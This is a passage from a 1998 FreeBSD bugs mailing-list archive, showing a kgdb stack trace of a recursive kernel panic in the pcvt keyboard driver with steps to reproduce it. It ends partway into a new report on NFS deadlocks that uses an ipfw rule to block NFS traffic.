in pccncheckc (dev=3072) at ../../i386/isa/pcvt/pcvt_drv.c:1244 #52 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 #53 0xf0200351 in wddump (dev=1) at ../../i386/isa/wd.c:1830 #54 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 #55 0xf01125d2 in boot (howto=260) at ../../kern/kern_shutdown.c:267 #56 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 #57 0xf01d7476 in trap_fatal (frame=0xf0221c30) at ../../i386/i386/trap.c:770 #58 0xf01d6f64 in trap_pfault (frame=0xf0221c30, usermode=0) at ../../i386/i386/trap.c:677 #59 0xf01d6c07 in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = 1, tf_esi = 1, tf_ebp = -266199952, tf_isp = -266199976, tf_ebx = 0, tf_edx = -1073512390, tf_ecx = 980, tf_eax = -266407296, tf_trapno = 12, tf_err = 0, tf_eip = -266416133, tf_cs = 8, tf_eflags = 65538, tf_esp = -1, tf_ss = -266199928}) at ../../i386/i386/trap.c:324 #60 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 #61 0xf01f34ab in sgetc (noblock=1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 #62 0xf01ef2a5 in pccncheckc (dev=3072) at ../../i386/isa/pcvt/pcvt_drv.c:1244 #63 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 #64 0xf0200351 in wddump (dev=1) at ../../i386/isa/wd.c:1830 #65 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 #66 0xf01125d2 in boot (howto=260) at ../../kern/kern_shutdown.c:267 #67 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 #68 0xf01d7476 in trap_fatal (frame=0xf0221dc4) at ../../i386/i386/trap.c:770 #69 0xf01d6f64 in trap_pfault (frame=0xf0221dc4, usermode=0) at ../../i386/i386/trap.c:677 #70 0xf01d6c07 in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = 1, tf_esi = 1, tf_ebp = -266199548, tf_isp = -266199572, tf_ebx = 0, tf_edx = -1073512390, tf_ecx = 980, tf_eax = -266407296, tf_trapno = 12, tf_err = 0, tf_eip = -266416133, tf_cs = 8, tf_eflags = 65538, tf_esp = -1, tf_ss = -266199524}) at ../../i386/i386/trap.c:324 #71 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 #72 0xf01f34ab in sgetc (noblock=1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 #73 0xf01ef2a5 in pccncheckc (dev=3072) at ../../i386/isa/pcvt/pcvt_drv.c:1244 #74 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 #75 0xf0200351 in wddump (dev=1) at ../../i386/isa/wd.c:1830 #76 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 #77 0xf01125d2 in boot (howto=260) at ../../kern/kern_shutdown.c:267 #78 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 #79 0xf01d7476 in trap_fatal (frame=0xf0221f58) at ../../i386/i386/trap.c:770 #80 0xf01d6f64 in trap_pfault (frame=0xf0221f58, usermode=0) at ../../i386/i386/trap.c:677 #81 0xf01d6c07 in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = 1, tf_esi = 1, tf_ebp = -266199144, tf_isp = -266199168, tf_ebx = 0, tf_edx = -1073512390, tf_ecx = 980, tf_eax = -266407296, tf_trapno = 12, tf_err = 0, tf_eip = -266416133, tf_cs = 8, tf_eflags = 65538, tf_esp = -1, tf_ss = -266199120}) at ../../i386/i386/trap.c:324 #82 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 #83 0xf01f34ab in sgetc (noblock=1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 #84 0xf01ef2a5 in pccncheckc (dev=3072) at ../../i386/isa/pcvt/pcvt_drv.c:1244 #85 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 #86 0xf0200351 in wddump (dev=1) at ../../i386/isa/wd.c:1830 #87 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 #88 0xf01125d2 in boot (howto=260) at ../../kern/kern_shutdown.c:267 #89 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 #90 0xf01d7476 in trap_fatal (frame=0xf02220ec) at ../../i386/i386/trap.c:770 #91 0xf01d6f64 in trap_pfault (frame=0xf02220ec, usermode=0) at ../../i386/i386/trap.c:677 #92 0xf01d6c07 in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = 1, tf_esi = 1, tf_ebp = -266198740, tf_isp = -266198764, tf_ebx = 0, tf_edx = -1073512390, tf_ecx = 980, tf_eax = -266407296, tf_trapno = 12, tf_err = 0, tf_eip = -266416133, tf_cs = 8, tf_eflags = 65538, tf_esp = -1, tf_ss = -266198716}) at ../../i386/i386/trap.c:324 #93 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 #94 0xf01f34ab in sgetc (noblock=1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 #95 0xf01ef2a5 in pccncheckc (dev=3072) at ../../i386/isa/pcvt/pcvt_drv.c:1244 #96 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 #97 0xf0200351 in wddump (dev=1) at ../../i386/isa/wd.c:1830 #98 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 #99 0xf01125d2 in boot (howto=260) at ../../kern/kern_shutdown.c:267 #100 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 #101 0xf01d7476 in trap_fatal (frame=0xf0222280) at ../../i386/i386/trap.c:770 #102 0xf01d6f64 in trap_pfault (frame=0xf0222280, usermode=0) at ../../i386/i386/trap.c:677 #103 0xf01d6c07 in trap (frame={tf_es = 16, tf_ds = 16, tf_edi = 1, tf_esi = 1, tf_ebp = -266198336, tf_isp = -266198360, tf_ebx = 0, tf_edx = -1073512390, tf_ecx = 980, tf_eax = -266407296, tf_trapno = 12, tf_err = 0, tf_eip = -266416133, tf_cs = 8, tf_eflags = 81922, tf_esp = -1, tf_ss = -266198312}) at ../../i386/i386/trap.c:324 #104 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 #105 0xf01f34ab in sgetc (noblock=1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 #106 0xf01ef2a5 in pccncheckc (dev=3072) at ../../i386/isa/pcvt/pcvt_drv.c:1244 #107 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 #108 0xf0200351 in wddump (dev=1) at ../../i386/isa/wd.c:1830 #109 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 #110 0xf01125d2 in boot (howto=260) at ../../kern/kern_shutdown.c:267 #111 0xf0112882 in panic (fmt=0xf01d6843 "double fault") at ../../kern/kern_shutdown.c:390 #112 0xf01d750c in trapwrite (addr=0) at ../../i386/i386/trap.c:799 (kgdb) up #1 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 (kgdb) down #0 boot (howto=260) at ../../kern/kern_shutdown.c:266 (kgdb) up #1 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 (kgdb) #2 0xf01d7476 in trap_fatal (frame=0xf022144c) at ../../i386/i386/trap.c:770 (kgdb) print type $1 = 12 (kgdb) print frame $2 = (struct trapframe *) 0xf022144c (kgdb) up #3 0xf01d6f64 in trap_pfault (frame=0xf022144c, usermode=0) at ../../i386/i386/trap.c:677 (kgdb) print intr_nesting_level $3 = 1 (kgdb) print curpcb $4 = -265887744 (kgdb) set radix 16 Input and output radices now set to decimal 16, hex 10, octal 20. (kgdb) print curpcb $5 = 0xf026e000 (kgdb) print *curpcb $6 = 0x0 (kgdb) up #4 0xf01d6c07 in trap (frame={tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x1, tf_esi = 0x1, tf_ebp = 0xf022148c, tf_isp = 0xf0221474, tf_ebx = 0x0, tf_edx = 0xc003803a, tf_ecx = 0x3d4, tf_eax = 0xf01ef280, tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xf01ecffb, tf_cs = 0x8, tf_eflags = 0x10002, tf_esp = 0xffffffff, tf_ss = 0xf02214a4}) at ../../i386/i386/trap.c:324 (kgdb) print type $7 = 0x0 (kgdb) up #5 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) up #6 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) down #5 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) up #6 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) up #7 0xf01ef2a5 in pccncheckc (dev=0xc00) at ../../i386/isa/pcvt/pcvt_drv.c:1244 (kgdb) up #8 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 (kgdb) down #7 0xf01ef2a5 in pccncheckc (dev=0xc00) at ../../i386/isa/pcvt/pcvt_drv.c:1244 (kgdb) down #6 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) print c $8 = 0x0 (kgdb) down #5 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) down #4 0xf01d6c07 in trap (frame={tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x1, tf_esi = 0x1, tf_ebp = 0xf022148c, tf_isp = 0xf0221474, tf_ebx = 0x0, tf_edx = 0xc003803a, tf_ecx = 0x3d4, tf_eax = 0xf01ef280, tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xf01ecffb, tf_cs = 0x8, tf_eflags = 0x10002, tf_esp = 0xffffffff, tf_ss = 0xf02214a4}) at ../../i386/i386/trap.c:324 (kgdb) up #5 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) up #6 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) #7 0xf01ef2a5 in pccncheckc (dev=0xc00) at ../../i386/isa/pcvt/pcvt_drv.c:1244 (kgdb) #8 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 (kgdb) #9 0xf0200351 in wddump (dev=0x1) at ../../i386/isa/wd.c:1830 (kgdb) #10 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 (kgdb) #11 0xf01125d2 in boot (howto=0x104) at ../../kern/kern_shutdown.c:267 (kgdb) #12 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 (kgdb) #13 0xf01d7476 in trap_fatal (frame=0xf02215e0) at ../../i386/i386/trap.c:770 (kgdb) print trap_msg[type] $9 = 0xf01d68cf "page fault" (kgdb) print type $10 = 0xc (kgdb) up #14 0xf01d6f64 in trap_pfault (frame=0xf02215e0, usermode=0x0) at ../../i386/i386/trap.c:677 (kgdb) up #15 0xf01d6c07 in trap (frame={tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x1, tf_esi = 0x1, tf_ebp = 0xf0221620, tf_isp = 0xf0221608, tf_ebx = 0x0, tf_edx = 0xc003803a, tf_ecx = 0x3d4, tf_eax = 0xf01ef280, tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xf01ecffb, tf_cs = 0x8, tf_eflags = 0x10002, tf_esp = 0xffffffff, tf_ss = 0xf0221638}) at ../../i386/i386/trap.c:324 (kgdb) up #16 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) up #17 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) #18 0xf01ef2a5 in pccncheckc (dev=0xc00) at ../../i386/isa/pcvt/pcvt_drv.c:1244 (kgdb) #19 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 (kgdb) #20 0xf0200351 in wddump (dev=0x1) at ../../i386/isa/wd.c:1830 (kgdb) #21 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 (kgdb) #22 0xf01125d2 in boot (howto=0x104) at ../../kern/kern_shutdown.c:267 (kgdb) #23 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 (kgdb) #24 0xf01d7476 in trap_fatal (frame=0xf0221774) at ../../i386/i386/trap.c:770 (kgdb) #25 0xf01d6f64 in trap_pfault (frame=0xf0221774, usermode=0x0) at ../../i386/i386/trap.c:677 (kgdb) #26 0xf01d6c07 in trap (frame={tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x1, tf_esi = 0x1, tf_ebp = 0xf02217b4, tf_isp = 0xf022179c, tf_ebx = 0x0, tf_edx = 0xc003803a, tf_ecx = 0x3d4, tf_eax = 0xf01ef280, tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xf01ecffb, tf_cs = 0x8, tf_eflags = 0x10002, tf_esp = 0xffffffff, tf_ss = 0xf02217cc}) at ../../i386/i386/trap.c:324 (kgdb) #27 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) #28 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) #29 0xf01ef2a5 in pccncheckc (dev=0xc00) at ../../i386/isa/pcvt/pcvt_drv.c:1244 (kgdb) #30 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 (kgdb) #31 0xf0200351 in wddump (dev=0x1) at ../../i386/isa/wd.c:1830 (kgdb) #32 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 (kgdb) #33 0xf01125d2 in boot (howto=0x104) at ../../kern/kern_shutdown.c:267 (kgdb) #34 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 (kgdb) #35 0xf01d7476 in trap_fatal (frame=0xf0221908) at ../../i386/i386/trap.c:770 (kgdb) #36 0xf01d6f64 in trap_pfault (frame=0xf0221908, usermode=0x0) at ../../i386/i386/trap.c:677 (kgdb) #37 0xf01d6c07 in trap (frame={tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x1, tf_esi = 0x1, tf_ebp = 0xf0221948, tf_isp = 0xf0221930, tf_ebx = 0x0, tf_edx = 0xc003803a, tf_ecx = 0x3d4, tf_eax = 0xf01ef280, tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xf01ecffb, tf_cs = 0x8, tf_eflags = 0x10002, tf_esp = 0xffffffff, tf_ss = 0xf0221960}) at ../../i386/i386/trap.c:324 (kgdb) #38 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) #39 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) #40 0xf01ef2a5 in pccncheckc (dev=0xc00) at ../../i386/isa/pcvt/pcvt_drv.c:1244 (kgdb) #41 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 (kgdb) #42 0xf0200351 in wddump (dev=0x1) at ../../i386/isa/wd.c:1830 (kgdb) #43 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 (kgdb) #44 0xf01125d2 in boot (howto=0x104) at ../../kern/kern_shutdown.c:267 (kgdb) #45 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 (kgdb) #46 0xf01d7476 in trap_fatal (frame=0xf0221a9c) at ../../i386/i386/trap.c:770 (kgdb) #47 0xf01d6f64 in trap_pfault (frame=0xf0221a9c, usermode=0x0) at ../../i386/i386/trap.c:677 (kgdb) #48 0xf01d6c07 in trap (frame={tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x1, tf_esi = 0x1, tf_ebp = 0xf0221adc, tf_isp = 0xf0221ac4, tf_ebx = 0x0, tf_edx = 0xc003803a, tf_ecx = 0x3d4, tf_eax = 0xf01ef280, tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xf01ecffb, tf_cs = 0x8, tf_eflags = 0x10002, tf_esp = 0xffffffff, tf_ss = 0xf0221af4}) at ../../i386/i386/trap.c:324 (kgdb) #49 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) #50 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) #51 0xf01ef2a5 in pccncheckc (dev=0xc00) at ../../i386/isa/pcvt/pcvt_drv.c:1244 (kgdb) #52 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 (kgdb) #53 0xf0200351 in wddump (dev=0x1) at ../../i386/isa/wd.c:1830 (kgdb) #54 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 (kgdb) #55 0xf01125d2 in boot (howto=0x104) at ../../kern/kern_shutdown.c:267 (kgdb) #56 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 (kgdb) #57 0xf01d7476 in trap_fatal (frame=0xf0221c30) at ../../i386/i386/trap.c:770 (kgdb) #58 0xf01d6f64 in trap_pfault (frame=0xf0221c30, usermode=0x0) at ../../i386/i386/trap.c:677 (kgdb) #59 0xf01d6c07 in trap (frame={tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x1, tf_esi = 0x1, tf_ebp = 0xf0221c70, tf_isp = 0xf0221c58, tf_ebx = 0x0, tf_edx = 0xc003803a, tf_ecx = 0x3d4, tf_eax = 0xf01ef280, tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xf01ecffb, tf_cs = 0x8, tf_eflags = 0x10002, tf_esp = 0xffffffff, tf_ss = 0xf0221c88}) at ../../i386/i386/trap.c:324 (kgdb) #60 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) #61 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) #62 0xf01ef2a5 in pccncheckc (dev=0xc00) at ../../i386/isa/pcvt/pcvt_drv.c:1244 (kgdb) #63 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 (kgdb) #64 0xf0200351 in wddump (dev=0x1) at ../../i386/isa/wd.c:1830 (kgdb) #65 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 (kgdb) #66 0xf01125d2 in boot (howto=0x104) at ../../kern/kern_shutdown.c:267 (kgdb) #67 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 (kgdb) #68 0xf01d7476 in trap_fatal (frame=0xf0221dc4) at ../../i386/i386/trap.c:770 (kgdb) #69 0xf01d6f64 in trap_pfault (frame=0xf0221dc4, usermode=0x0) at ../../i386/i386/trap.c:677 (kgdb) #70 0xf01d6c07 in trap (frame={tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x1, tf_esi = 0x1, tf_ebp = 0xf0221e04, tf_isp = 0xf0221dec, tf_ebx = 0x0, tf_edx = 0xc003803a, tf_ecx = 0x3d4, tf_eax = 0xf01ef280, tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xf01ecffb, tf_cs = 0x8, tf_eflags = 0x10002, tf_esp = 0xffffffff, tf_ss = 0xf0221e1c}) at ../../i386/i386/trap.c:324 (kgdb) #71 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) #72 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) #73 0xf01ef2a5 in pccncheckc (dev=0xc00) at ../../i386/isa/pcvt/pcvt_drv.c:1244 (kgdb) #74 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 (kgdb) #75 0xf0200351 in wddump (dev=0x1) at ../../i386/isa/wd.c:1830 (kgdb) #76 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 (kgdb) #77 0xf01125d2 in boot (howto=0x104) at ../../kern/kern_shutdown.c:267 (kgdb) #78 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 (kgdb) #79 0xf01d7476 in trap_fatal (frame=0xf0221f58) at ../../i386/i386/trap.c:770 (kgdb) #80 0xf01d6f64 in trap_pfault (frame=0xf0221f58, usermode=0x0) at ../../i386/i386/trap.c:677 (kgdb) #81 0xf01d6c07 in trap (frame={tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x1, tf_esi = 0x1, tf_ebp = 0xf0221f98, tf_isp = 0xf0221f80, tf_ebx = 0x0, tf_edx = 0xc003803a, tf_ecx = 0x3d4, tf_eax = 0xf01ef280, tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xf01ecffb, tf_cs = 0x8, tf_eflags = 0x10002, tf_esp = 0xffffffff, tf_ss = 0xf0221fb0}) at ../../i386/i386/trap.c:324 (kgdb) #82 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) #83 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) #84 0xf01ef2a5 in pccncheckc (dev=0xc00) at ../../i386/isa/pcvt/pcvt_drv.c:1244 (kgdb) #85 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 (kgdb) #86 0xf0200351 in wddump (dev=0x1) at ../../i386/isa/wd.c:1830 (kgdb) #87 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 (kgdb) #88 0xf01125d2 in boot (howto=0x104) at ../../kern/kern_shutdown.c:267 (kgdb) #89 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 (kgdb) #90 0xf01d7476 in trap_fatal (frame=0xf02220ec) at ../../i386/i386/trap.c:770 (kgdb) #91 0xf01d6f64 in trap_pfault (frame=0xf02220ec, usermode=0x0) at ../../i386/i386/trap.c:677 (kgdb) #92 0xf01d6c07 in trap (frame={tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x1, tf_esi = 0x1, tf_ebp = 0xf022212c, tf_isp = 0xf0222114, tf_ebx = 0x0, tf_edx = 0xc003803a, tf_ecx = 0x3d4, tf_eax = 0xf01ef280, tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xf01ecffb, tf_cs = 0x8, tf_eflags = 0x10002, tf_esp = 0xffffffff, tf_ss = 0xf0222144}) at ../../i386/i386/trap.c:324 (kgdb) #93 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) #94 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) #95 0xf01ef2a5 in pccncheckc (dev=0xc00) at ../../i386/isa/pcvt/pcvt_drv.c:1244 (kgdb) #96 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 (kgdb) #97 0xf0200351 in wddump (dev=0x1) at ../../i386/isa/wd.c:1830 (kgdb) #98 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 (kgdb) #99 0xf01125d2 in boot (howto=0x104) at ../../kern/kern_shutdown.c:267 (kgdb) #100 0xf0112882 in panic (fmt=0xf01d68cf "page fault") at ../../kern/kern_shutdown.c:390 (kgdb) #101 0xf01d7476 in trap_fatal (frame=0xf0222280) at ../../i386/i386/trap.c:770 (kgdb) #102 0xf01d6f64 in trap_pfault (frame=0xf0222280, usermode=0x0) at ../../i386/i386/trap.c:677 (kgdb) #103 0xf01d6c07 in trap (frame={tf_es = 0x10, tf_ds = 0x10, tf_edi = 0x1, tf_esi = 0x1, tf_ebp = 0xf02222c0, tf_isp = 0xf02222a8, tf_ebx = 0x0, tf_edx = 0xc003803a, tf_ecx = 0x3d4, tf_eax = 0xf01ef280, tf_trapno = 0xc, tf_err = 0x0, tf_eip = 0xf01ecffb, tf_cs = 0x8, tf_eflags = 0x14002, tf_esp = 0xffffffff, tf_ss = 0xf02222d8}) at ../../i386/i386/trap.c:324 (kgdb) #104 0xf01ecffb in read_kbd_data_no_wait (p=0x0) at ../../i386/isa/kbdio.c:645 (kgdb) #105 0xf01f34ab in sgetc (noblock=0x1) at ../../i386/isa/pcvt/pcvt_kbd.c:1304 (kgdb) #106 0xf01ef2a5 in pccncheckc (dev=0xc00) at ../../i386/isa/pcvt/pcvt_drv.c:1244 (kgdb) #107 0xf01caea5 in cncheckc () at ../../i386/i386/cons.c:408 (kgdb) #108 0xf0200351 in wddump (dev=0x1) at ../../i386/isa/wd.c:1830 (kgdb) #109 0xf0112786 in dumpsys () at ../../kern/kern_shutdown.c:335 (kgdb) #110 0xf01125d2 in boot (howto=0x104) at ../../kern/kern_shutdown.c:267 (kgdb) #111 0xf0112882 in panic (fmt=0xf01d6843 "double fault") at ../../kern/kern_shutdown.c:390 (kgdb) #112 0xf01d750c in trapwrite (addr=0x0) at ../../i386/i386/trap.c:799 (kgdb) Initial frame selected; you cannot go up. (kgdb) print pcb $11 = (struct pcb *) 0xf026e000 (kgdb) print *pcb $12 = {pcb_tss = {tss_link = 0x0, tss_esp0 = 0xefc00000, tss_ss0 = 0x10, tss_esp1 = 0x0, tss_ss1 = 0x0, tss_esp2 = 0x0, tss_ss2 = 0x0, tss_cr3 = 0x26d000, tss_eip = 0xf01f49fe, tss_eflags = 0x10202, tss_eax = 0xf0200050, tss_ecx = 0x18, tss_edx = 0xa, tss_ebx = 0x4700, tss_esp = 0xf0204000, tss_ebp = 0xf020401c, tss_esi = 0xf0248f44, tss_edi = 0xa, tss_es = 0x10, tss_cs = 0x8, tss_ss = 0x10, tss_ds = 0x10, tss_fs = 0x1f, tss_gs = 0x27, tss_ldt = 0x0, tss_ioopt = 0x680000}, pcb_ldt = 0x0, pcb_ldt_len = 0x0, pcb_savefpu = {sv_env = {en_cw = 0x0, en_sw = 0x0, en_tw = 0x0, en_fip = 0x0, en_fcs = 0x0, en_opcode = 0x0, en_foo = 0x0, en_fos = 0x0}, sv_ac = {{ fp_bytes = "\000\000\000\000\000\000\000\000\000"}, { fp_bytes = "\000\000\000\000\000\000\000\000\000"}, { fp_bytes = "\000\000\000\000\000\000\000\000\000"}, { fp_bytes = "\000\000\000\000\000\000\000\000\000"}, { fp_bytes = "\000\000\000\000\000\000\000\000\000"}, { fp_bytes = "\000\000\000\000\000\000\000\000\000"}, { fp_bytes = "\000\000\000\000\000\000\000\000\000"}, { fp_bytes = "\000\000\000\000\000\000\000\000\000"}}, sv_ex_sw = 0x0, sv_pad = '\000' }, pcb_flags = 0x0, pcb_onfault = 0x0} (kgdb) >How-To-Repeat: remove and replug PS/2 keyboard, or use an mechanical monitor/keyboard switch. If it does not happen, add PCVT to kernel and retry. If still no success, as me to send you a couple of kernels. I can also provide crash dumps if necessary. >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Fri May 15 23:13:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id XAA06766 for freebsd-bugs-outgoing; Fri, 15 May 1998 23:13:59 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA06758 for ; Fri, 15 May 1998 23:13:58 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id XAA16368; Fri, 15 May 1998 23:10:01 -0700 (PDT) Received: from lohi.clinet.fi (UNKNOWN@lohi.clinet.fi [194.100.0.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id XAA06322 for ; Fri, 15 May 1998 23:09:12 -0700 (PDT) (envelope-from hsu@katiska.clinet.fi) Received: from katiska.clinet.fi (katiska.clinet.fi [194.100.0.4]) by lohi.clinet.fi (8.8.8/8.8.6) with ESMTP id JAA07367 for ; Sat, 16 May 1998 09:09:15 +0300 (EEST) Received: (from root@localhost) by katiska.clinet.fi (8.8.8/8.8.6) id JAA26766; Sat, 16 May 1998 09:08:53 +0300 (EEST) Message-Id: <199805160608.JAA26766@katiska.clinet.fi> Date: Sat, 16 May 1998 09:08:53 +0300 (EEST) From: Heikki Suonsivu Reply-To: hsu@clinet.fi To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: kern/6651: Possible NFS deadlock clue Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 6651 >Category: kern >Synopsis: Possible NFS deadlock clue >Confidential: no >Severity: non-critical >Priority: medium >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Fri May 15 23:10:00 PDT 1998 >Last-Modified: >Originator: Heikki Suonsivu >Organization: Clinet, Espoo, Finland >Release: FreeBSD 2.2.6-STABLE i386 >Environment: NFS disks mounted back and forth. Probably any -STABLE. >Description: NFS tends to cause computers to deadlock, ie. responds to ping, often serves NFS requests (if an NFS server, not necessary), on console pressing return to login prompt gives you a new line but no "password:" query. We have had problems with servers deadlocking for ages, but this might be a clue, as I think I found a way repeat the problem. >How-To-Repeat: Take NFS client A and NFS server B. Have systems up and do some access from A to B, and while doing that, add ipfw add xxx deny log udp from A to B 2049 ie. deny all NFS traffic, but leave other NFS related 